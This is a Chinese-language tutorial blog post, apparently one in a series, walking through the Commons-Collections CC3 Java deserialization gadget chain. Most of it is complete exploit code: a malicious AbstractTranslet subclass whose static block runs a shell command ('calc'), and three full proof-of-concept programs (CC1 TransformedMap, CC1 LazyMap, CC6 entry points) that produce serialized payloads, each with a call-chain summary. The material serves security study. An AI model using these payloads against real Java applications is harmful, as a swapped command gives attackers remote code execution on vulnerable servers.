前言
我们分析前两条链CC1和CC6时,都是利用invoke反射调用的Runtime().getRuntime().exec()来执行命令。而很多时候服务器的代码当中的黑名单会选择禁用Runtime
CC3链主要通过动态加载类加载机制来实现自动执行恶意类代码
1.环境安装
可以接着使用我们之前分析CC1链时安装的环境,具体安装步骤可以看上一篇文章:
Commons-Collections篇-CC1链小白基础分析学习
2.分析
CC3的sink点在于defineClass()
在类的动态加载中,有一种利用ClassLoader#defineClass直接加载字节码的手段
ClassLoader.loadClass()—> ClassLoader.findClass()–>ClassLoader.defineClass()
defineClass()往往都是protected类型的,作用是处理前面传入的字节码,将其处理称真正的Java类,我们平常使用只能通过反射去调用.
如果只加载恶意类,不初始化的话,是不会执行代码,还需要一个实例化操作
2.1 Templateslmpl类分析
我们寻找谁调用了这个方法,找到了TemplatesImpl类中TransletClassLoader#defineClass,TemplatesImpl类实现了Serializable接口,可以被序列化,但是defineClass方法为默认Default,只能在自己类中使用
我们继续find Usages
我们可以看到私有方法defineTransletClasses调用了defineClass(),但是其中有一个if判断,在过程中我们不能让if (_bytecodes == null)判定成功,不然就会抛出错误中断了
在同类下的getTransletInstance方法中发现了调用,并且还有实例化操作,我们继续寻找
我们找到了一个公开的方法,接下来开始利用
2.2 Templateslmpl类利用
2.2.1 解决阻碍
在我们之前的分析中,我们能看到有很多的if条件,这些我们都需要提前去满足解决,才能让链正常的执行下去,我们从最上层开始分析限制条件
- _name为String类型,不能为null
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
- _class为Class类型的数据,必须为null 默认也是null,不用处理
- _bytecodes为字节类型的二维数组,不能为null
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
- _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
我们编写一个demo进行尝试
先写一个恶意类,并将该文件进行编译为class
public class Calc {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\src\\main\\java\\org\\example\\Calc.java"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
在运行之后会有一个空指针异常的错误
我们调试并定位到发生错误的代码处,发现_auxClasses是Null
所以我们现在有两种解决方法:
- 设置_auxClasses
- 让这个if (superClass.getName().equals(ABSTRACT_TRANSLET))条件判断正确
如果我们设置_auxClasses的值,上面的_transletIndex值为-1,在426行代码进行一次判定,还是会抛出错误
所以我们选择第二个继续分析,只要让defineClass() 方法中传进去的参数 b 数组的字节码继承了 ABSTRACT_TRANSLET 这个父类,就会判定成功
我们修改弹计算器的测试代码
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Calc extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e){
e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
重新运行上面我们的测试代码
2.3 TrAXFilter分析及实例化
我们接着寻找newTransformer()的用法
发现在TrAXFilter 中调用了,但是我们也可以看到TrAXFilter没有继承序列化接口,所以不能反序列化
但是CC3的挖掘者发现了一个专门使用反射来动态创建对象的类InstantiateTransformer
我们可以使用这个类来实例化TrAXFilter,所以我们第一步先创建一个InstantiateTransformer实例,然后传入TrAXFilter.class
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
整体POC
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
//序列化
// serializable(o);
// unserializable();
}
2.4 CC1+TrAXFilter
我们结合CC1的入口到TrAXFilter的使用,构造POC
注意:在CC1中我们使用恒定转化器 ConstantTransformer 和链式转化器ChainedTransformer 来解决了setValue的值无法控制的问题,我们现在使用中同样要注意使用
package org.example;
import com.oracle.jrockit.jfr.ValueDefinition;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("id",1);
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = aClass.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(ValueDefinition.class, transformedMap);
//序列化
serializable(o);
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
用反序列化来执行上面生成的obj文件
public class CC {
public static void main(String[] args) throws Exception {
//命令执行代码
unserializable();
}
private static Object unserializable() throws Exception,IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
}
路线为
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
TransformedMap.checkSetValue()
ChainedTransformer.transform()
ConstantTransformer.transform()
instantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
definclass -> newInstance()
2.5 CC1_LazyMap + TrAXFilter
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,chainedTransformer);
Class a = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aDe = a.getDeclaredConstructor(Class.class, Map.class);
aDe.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aDe.newInstance(Override.class, Lazy);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},invocationHandler);
invocationHandler =(InvocationHandler) aDe.newInstance(Override.class,proxyMap);
//序列化
serializable(invocationHandler);
// unserializable();
}
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
路线为
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
instantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
definclass -> newInstance()
2.6 CC6 +TrAXFilter
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class ca = templates.getClass();
Field name = ca.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"admin");
Field byteField = ca.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] evil = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {evil};
byteField.set(templates,codes);
Field tfactory = ca.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},
new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
Map Lazy = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tied = new TiedMapEntry(Lazy,0);
HashMap map1 = new HashMap();
map1.put(tied,1);
//本地执行put时,会调用 tiedmapTntry.hashcode lazyMap.get("0") 会让lazyMap key不为flase
Lazy.remove(0); //remove掉put时 lazyMap里的key 使反序列化时能进入transform
Class c = LazyMap.class;
Field factory = c.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(Lazy,chainedTransformer);
serializable(map1);
}
// unserializable();
private static Object unserializable() throws Exception, IOException, ClassNotFoundException{
FileInputStream fis = new FileInputStream("obj");
ObjectInputStream ois = new ObjectInputStream(fis);
Object o = ois.readObject();
return o;
}
private static void serializable(Object o) throws IOException, ClassNotFoundException{
FileOutputStream fos = new FileOutputStream("obj");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(o);
os.close();
}
}
路线为
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
ChainedTransformer.transform()
instantiateTransformer.transform()
TrAXFilter.TrAXFilter()
TemplatesImpl.newTransformer()
definclass -> newInstance()
本系列历史文章
反序列化之路-URLDNS
Commons-Collections篇-CC1链小白基础分析学习
CC1链补充-LazyMap
Commons-Collections篇-CC6链分析